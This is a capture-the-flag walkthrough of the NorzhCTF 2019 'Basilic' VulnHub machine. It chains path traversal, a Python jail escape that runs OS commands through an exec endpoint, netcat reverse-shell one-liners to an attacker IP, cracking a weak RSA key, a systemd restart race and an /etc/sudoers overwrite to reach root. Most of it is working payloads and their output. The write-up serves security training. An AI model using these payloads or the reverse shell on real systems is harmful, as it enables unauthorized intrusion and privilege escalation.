Basilic

NorzhCTF 2019 - Pentest.

NorzhCTF 2019 : Basilic

Challenge details

Event Challenge Category Author
NorzhCTF 2019 Basilic Pentest DrStache

Download : VulnHub

Description

A Python developer has put a website online. Your goal is to compromise the different users of the server and gain root privileges.

There are 4 flags to retrieve, they are in md5 format.

  • Flag 1: “Persistence is the path to success.” - Charlie Chaplin
  • Flag 2: “You can always escape from a prison. But freedom?” - Jean-Christophe Grangé
  • Flag 3: “The future is a door, the past is the key.” - Victor Hugo
  • Flag 4: “There is no less blame for concealing a truth than for falsifying a lie.” - Etienne Pasquier

Difficulty: Intermediate / Hard Categories: Web, Jail, Crypto, PrivEsc

Web

Enumeration

On the server, only two ports are open, the ssh and a web server on the 5000 port.

There are two pages on it. Nothing very interesting, except for an RSA private key, we get it back for later.

-----BEGIN PUBLIC KEY-----
MD0wDQYJKoZIhvcNAQEBBQADLAAwKQIieHh4eHh4eHh4eHh4eHh4d4eHjw8PDw8P
Dw8PDw8PDw8PDwIDAQAB
-----END PUBLIC KEY-----

Stack Trace Python

After some tests, we find a python stack trace in the 404 page.

http://192.168.1.14:5000/x
    /opt/webserver/basilic_dev_website.py : [Errno 2] No such file or directory: u'/opt/webserver/x'

Python seems to want to load the passed file into the URL path, x does not exist and returns an error. The stack trace also gives us the full path of the application and the name of the script.

Path Traversal

By combining these two findings, we can read the script sources.

http://192.168.1.14:5000/basilic_dev_website.py
#/usr/bin/env python
# -*- coding:utf-8 -*-

# First flag : 905459d7e2dbb3c47ab947faed7b12b0

import os
from flask import Flask, request, jsonify, Response
app = Flask(__name__)


@app.route('/')
def index():
        with open(os.getcwd() + '/index.html', 'r') as myfile:
                return myfile.read()


@app.route('/<path:path>')
def load_page(path):
        if path == 'json_calc':
                x = request.query_string
                g = {"__builtins__" : None} # Removing all builtins for security
                l = {}
                try:
                        exec(x, g, l)
                        return jsonify(l)
                except Exception,e:
                        return jsonify({'error': str(e)})
        else :
                try:
                        with open(os.getcwd() + '/' + path, 'r') as myfile:
                                return myfile.read()
                except Exception,e:
                        return Response(__file__ + ' : ' + str(e), status=404)


if __name__ == '__main__':
        app.run(host= '0.0.0.0')

We now have access to the web server sources, as well as the first flag.

First flag : 905459d7e2dbb3c47ab947faed7b12b0

PyJail

Analysis

By analyzing the code, we find the endpoint json_calc. It retrieves the GET parameters in an x variable, evaluates them in a restricted environment {"__builtins__" : None}, places the result of the execution in the l dictionary and returns it in json format.

Let’s do some simple calculation tests.

http://192.168.1.14:5000/json_calc?x=1+1
    {"x":2}
http://192.168.1.14:5000/json_calc?x=1+1;y=x+2
    {"x":2,"y":4}

Our theory is validated, now, we will have to succeed in exploiting this endpoint in order to execute system commands.

Exploitation

The environment being restricted by {{"__builtins__" : None}, it will be necessary to go further in order to have an RCE. We can use a WriteUp from the Breizh CTF to exploit this PyJail.

We start by listing the subclasses.

http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()
    {"error":"<type 'type'> is not JSON serializable"}

We can’t access it because of JSON serialization, but they are there. As it’s not directly possible to list them all, they will have to be listed one by one.

http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[2]()
    {"error":"cannot create 'weakcallableproxy' instances"}
    
[...]

http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()
    {"error":"catch_warnings() is not JSON serializable"}

Now that we have the catch_warnings object, we will be able to continue the exploitation, in order to execute commands.

Be careful, it’s likely that the quotes generate errors, because of the URL encoding of the browsers. It is better to go through Burp, Wget, Curl…

wget "http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').popen('id').read()" -O - 2>/dev/null
    {"x":"uid=1001(python) gid=1001(python) groups=1001(python)\n"}

We quickly realize that the spaces in the command make it crash, it does not return an answer.

http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').popen('ls -l').read()
    {"x":""}

So we have to do it without them. To browse the file system, we will use os.listdir('/') and the Path Traversal vulnerability to read the files, it’s also possible to use os.read(os.open('/etc/passwd',os.O_RDONLY),999999), but this is more constraining.

By listing the /home/python folder, we find the secret.txt file.

http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').listdir('/home/python')
    {"x":[".bashrc",".profile","s.bash_logout","secret.txt"]}

We download it.

http://192.168.1.14:5000/..%2f..%2f..%2fhome/python/secret.txt
    Second flag : 5d5e3d9ee45cd8975c940b675d4cbc15 

We get the second flag.

Second flag : 5d5e3d9ee45cd8975c940b675d4cbc15

Reverse shell

To simplify the task, it’s possible to set up a reverse shell, however being limited by spaces, it can be complex.

Here are two proposed solutions.

os.spawnl(1,'/bin/nc','nc','192.168.1.85','3615','-e','/bin/sh')
os.execv('/bin/nc',['/bin/nc','-e','/bin/bash','192.168.1.85','3615'])

Be careful, the use of execv will create a new process that will replace the one of the python server, so the server will stop.

It’s possible to do the challenge without reverse shell, which is what I will do in the rest of this writeup.

Priv Esc

Basilic User

In the file /etc/passwd, we find the user basilic, let’s check the content of his home.

http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').listdir('/home/basilic')
    {"x":[".bash_logout",".bashrc","secret.txt",".profile",".encrypted_password"]}

.encrypted_password seems interesting, we download it.

$  curl 'http://192.168.1.14:5000/..%2f..%2f..%2fhome/basilic/.encrypted_password' > encrypted_password
$ cat encrypted_password
    E�g]������ZQe�n�Q7�x��e#)��|!w�

All right, we have reading rights on it. We end up with mush, the file seems well encrypted.

At first, when we visited the website, we retrieved a public RSA key, we’ll try to find his private key. To do this, we will use RsaCtfTool.

$ ./RsaCtfTool.py --publickey basilic_pub.key --private
    -----BEGIN RSA PRIVATE KEY-----
    MIGvAgEAAiJ4eHh4eHh4eHh4eHh4eHh3h4ePDw8PDw8PDw8PDw8PDw8PAgMBAAEC
    IgKCV9gCglfYAoJX2AKCV9f4ePX1oKD19aCg9fWgoPX1oKECEH//////////////
    //////8CEwDw8PDw8PDw8PDw8PDw8PDw8PECEFVVqqpVVaqqVVWqqlVVqqkCEnDx
    cPBw8XDwcPFw8HDxcPBw8QIQf/+8AAIf/+8AAIf/+8AAIQ==
    -----END RSA PRIVATE KEY-----

The public key is vulnerable, we will now decrypt the encrypted_password file.

$ ./RsaCtfTool.py --publickey basilic_pub.key --uncipherfile encrypted_password
    [+] Clear text : b'\x00\x02\x8c\xf0\x0fB\xd3"\xe7||`)\x95\x00nevergonnagiveyouup'

There seems to be garbage at the beginning, but we notice the string nevergonnagiveyouup at the end, from the file name, it must be a password. So we try to connect in SSH.

$ ssh basilic@192.168.1.14
    nevergonnagiveyouup
$ id
    uid=1000(basilic) gid=1000(basilic) groups=1000(basilic),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(bluetooth)

We are now the basilic user, which allows us to read the file /home/basilic/secret.txt.

$ cat /home/basilic/secret.txt
    Third flag : e1e0d24d7fed3745e19bb0f90a769ea0

We thus reach the third flag.

Third flag : e1e0d24d7fed3745e19bb0f90a769ea0

Root

Enumeration

Now that we are basilic, we will have to pass root. We start by analyzing the sudo rights.

$ sudo -l
    (root) /usr/bin/python /opt/calc_test.py

This sounds interesting, we can run the script /opt/calc_test.py as root. Let’s check its content.

#!/usr/bin/python2
# coding: utf-8
import urllib

c = raw_input('Calc : ')
f = raw_input('Output file : ')
res = urllib.urlopen('http://127.0.0.1:5000/json_calc?x='+str(c)).read()

with open(f, 'w') as file:
    file.write(res)

The script is quite simple, it asks us for a calculation and an output file. To perform the calculation, it will use the json_calc endpoint of the python server, it will then place the result in the specified file.

Knowing that we can run this script as root, we can write anywhere on the machine using the output file.

$ sudo /usr/bin/python /opt/calc_test.py
    Calc : 1
    Output file : /tmp/a
$ ls -l /tmp/a
    -rw-r--r-- 1 root root 8 Nov 16 12:42 /tmp/a
$ cat /tmp/a
    {"x":1}

But we don’t control the content that is placed there, we have to control the web server for this purpose.

Fortunately, our entry point on the machine was an RCE via this web server, so the code execution is done with the server rights, so it is possible to stop it via the RCE. Then launch our own web server with the basilic user.

Exploitation 1

We retrieve the PID of the process and forge the payload in order to stop the server.

$ ps aux | grep python
    python 332 0.0 4.4 615128 22288 ? Ss 11:05 0:01 /usr/bin/python /opt/webserver/basilic_dev_website.py
os.kill(332, os.SIGKILL)

http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').kill(332,().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('signal').SIGKILL)

After sending the payload, we check that the server is stopped.

$ ps aux | grep python
    python 833 0.1 4.1 57544 20712 ? Ss 12:47 0:00 /usr/bin/python /opt/webserver/basilic_dev_website.py

Unfortunately, it has been relaunched, its PID has changed. We’re looking for anything that might have restarted it.

$ grep -r 'basilic_dev_website.py' / 2>/dev/null
    /etc/systemd/system/pyserv.service:ExecStart=/usr/bin/python /opt/webserver/basilic_dev_website.py

Here is the content of the service configuration.

[Unit]
Description=Python Webserver

[Service]
type=simple
ExecStart=/usr/bin/python /opt/webserver/basilic_dev_website.py
User=python
Group=python
Restart=always

[Install]
WantedBy=multi-user.target

So it was systemd that automatically restarted the server. If we want to launch our own server, we will have to launch it before systemd restarts basilic_dev_website.py.

In the systemd man, we find this.

RestartSec=
    Configures the time to sleep before restarting a service (as configured with Restart=). Takes a unit-less value in seconds, or a time span value such as "5min 20s". Defaults to 100ms.

So we now know that systemd waits 100 ms before restarting the service, which gives us a good time frame to start our server.

Here is the command we use to exploit this race condition. It moves the user into his home, use the payload to kill the server process and starts a SimpleHTTPServer without waiting to receive the response from the web server.

$ cd; wget "http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').kill(833,().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('signal').SIGKILL)" -O - 2>/dev/null & python -m SimpleHTTPServer 5000

When we visit the web server, it’s now the content of the basilic user home.

$ curl http://192.168.1.14:5000
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
    <title>Directory listing for /</title>
    <body>
    <h2>Directory listing for /</h2>
    <hr>
    <ul>
    <li><a href=".bash_history">.bash_history</a>
    <li><a href=".bash_logout">.bash_logout</a>
    <li><a href=".bashrc">.bashrc</a>
    <li><a href=".encrypted_password">.encrypted_password</a>
    <li><a href=".profile">.profile</a>
    <li><a href="secret.txt">secret.txt</a>
    </ul>
    <hr>
    </body>
    </html>

Now that we control the web server, we will be able to write anything, anywhere.

The calc_test.py script will retrieve the response from the json_calc endpoint, so we will create a file of the same name in the home and place content in.

We do a simple test to see if it works.

$ echo 'test' > json_calc
$ sudo /usr/bin/python /opt/calc_test.py
    Calc : 1
    Output file : /tmp/xxx
$ cat /tmp/xxx
    test
$ ls -l /tmp/xxx
    -rw-r--r-- 1 root root 5 Nov 16 13:00 /tmp/xxx
$ cat /tmp/xxx
    test

All right, we’re close. All that remains is to choose which file to rewrite, we choose /etc/sudoers.

$ echo 'basilic ALL=(ALL:ALL) ALL' > json_calc
$ sudo /usr/bin/python /opt/calc_test.py
    Calc : 1
    Output file : /etc/sudoers
$ sudo -l
    (ALL : ALL) ALL
$ sudo su
$ id
    uid=0(root) gid=0(root) groups=0(root)

Finally root. We can now retrieve the last flag.

$ cat /root/root.txt
    Fourth flag : 1e62c6ed43e92c1f0dcbcca01957d1bb

Fourth flag : 1e62c6ed43e92c1f0dcbcca01957d1bb

Exploitation 2

The second method of privilege escalation is similar, but instead of creating our own server, we will modify the existing one. The server file, /opt/webserver/basilic_dev_website.py belongs to the user python, so we can modify its content via the PyJail or the reverse shell, for simplicity, we will use the reverse shell.

$ cat basilic_dev_website.py
    [...]
    return jsonify(l)
    [...]
$ sed -i -e 's/jsonify(l)/"basilic ALL=(ALL:ALL) ALL"/' basilic_dev_website.py
$ cat basilic_dev_website.py
    [...]
    return "basilic ALL=(ALL:ALL) ALL"
    [...]

The server is well modified, but it must be restarted for this to be taken into account.

$ ps aux | grep python
    python 311 0.1 4.1 131272 20728 ? Ss 10:19 0:00 /usr/bin/python /opt/webserver/basilic_dev_website.py
$ kill 311

The python server has been stopped, so our reverse shell dropped. Systemd automatically restarts the service.

$ curl http://192.168.1.14:5000/json_calc?x=1
    basilic ALL=(ALL:ALL) ALL

Now, all we have to do is to sudo the script /opt/calc_test.py.

$ sudo /usr/bin/python /opt/calc_test.py
    Calc : 1
    Output file : /etc/sudoers
$ sudo -l
    (ALL : ALL) ALL
$ sudo su
$ id
    uid=0(root) gid=0(root) groups=0(root)

We can now read the last flag.

$ cat /root/root.txt
    Fourth flag : 1e62c6ed43e92c1f0dcbcca01957d1bb

Fourth flag : 1e62c6ed43e92c1f0dcbcca01957d1bb

DrStache